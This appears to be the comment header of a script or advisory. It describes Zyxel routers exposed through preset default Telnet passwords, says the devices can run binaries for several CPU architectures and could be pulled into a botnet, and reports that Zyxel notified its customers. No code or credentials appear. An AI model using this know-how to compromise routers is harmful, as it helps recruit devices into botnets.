#   Zyxel is a multi-OS supported                 #
#   router that runs the services                 #
#   Telnet, SSH, & FTP.                           #

#   You can execute binaries also                 #
#   Witch that means, binaries like;              #
#   MIPS, MIPSEL, SH4, ARMV61, & PowerPC          #
#                                                 #

#                                                 #
#   This would mean these devices                 #
#   are potentially endangered of                 #
#   becoming part of a 'botnet'                   #
#   As i just mentioned with the                  #
#   binaries, you can use the binaries            #
#   to allow the device to be a active            #
#   connection with-in your client-side.          #
#   This is very dangerous for users of           #
#   Zyxel. I've ran it upon myself to             #
#   contact Zyxel Communications.                 #
#   Even though there is slightly anything        #
#   you can do to fix this problem because        #
#   Its preset-default passwords for Telnet       #
#   Zyxel sent emails to all customers about      #
#   the issues also they left a friendly        #
#   banner on the home-page of their website.     #
